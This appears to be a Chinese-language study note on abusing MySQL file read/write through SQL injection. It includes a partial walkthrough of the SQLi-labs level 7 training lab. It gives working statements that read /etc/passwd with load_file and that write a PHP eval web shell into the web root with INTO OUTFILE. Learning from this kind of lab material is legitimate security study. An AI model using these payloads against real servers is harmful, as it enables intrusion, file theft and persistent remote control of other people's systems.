读写操作需要的条件
正常条件
- 当前连接到数据库的用户是ROOT权限
- 网站物路径(可以用报错、phpinfo页面、猜、爆破)
版本条件
- 5.5.53之前:secure_file_priv变量默认为空,所以默认情况下是可以直接通过SQL语句来导出文件的
- 高于5.5:secure_file_priv的值为null,表示不允许导入导出;为/tmp/表示导入导出只能发身在/tmp/目录下;没有具体值时,即' ',表示不对mysql的导入导出做限制
查看secure-file-priv参数的值
show global variables like '%secure%'
MySQL读文件
函数load_file()
- select load_file('/etc/passwd');
- select load_file(0x2f6574632f706173737764);
MySQL写文件
into outfile函数
直接将一句话木马写入
- 写文件是会在每一行的结束自动加上换行符
- select '' into outfile '/var/www/html/muma.php';
设置字符
select * from tdb_goods where godds_id=1 into outfile "/var/www/html/muma.php" lines starting by '<?php @eval($_POST[pass])?>'
- LINES STARTING BY '写入的内容'
- 设置每行数据开头的字符,可以为单个或多个字符,默认不适用任何字符
2.LINES TERMINATED BY '写入的内同'
- 设置每行数据结尾的字符,默认值是" "
into dumpfile函数
- 写文件会保持文件得到原生内容,这种方式是对二进制文件是最好的选择
- select '' into dumpfile '/var/www/html/muma.php';
SQLI_labs_第7关
先判断是否存在注入点
1.想办法让页面出错
2.构造正确逻辑,使页面返回正常内容
出错后,我们将单引号去掉(第1步通过'让页面报错,而这里又报错,说明参数并不是字符型)
3.构造错误逻辑,页面会什么也不显示
通过第三步的结果,充分说明,我前两部是错的。再来
先判断是否存在注入点(第二次)
分析
首先第一次的第一步,用'导致了报错,这说明对方闭合的末尾肯定是'
2.构造正确逻辑,返回正确结果
第一次的第二步 是因为‘存在报错了,认为参数是数字型,目前来看参数不是数字型,参数的闭合还有()存在的可能性
这里的时候,我在网上找了教程,会发现自己错了两个地方:1、括号是在引号之后 2、两个))
3. 构造错误逻辑,页面不显示
但是这里报错了
尝试是否可以插入文件
结果告诉我们上传的语法有错误。但是我们去访问我们上传的文件是可以访问到的。 (这也侧面说明检测注入点第三步,逻辑错误语法正确,页面报语法错误)
上传一句话木马
通过访问我们上传的路径,可以访问,说明是上传成功了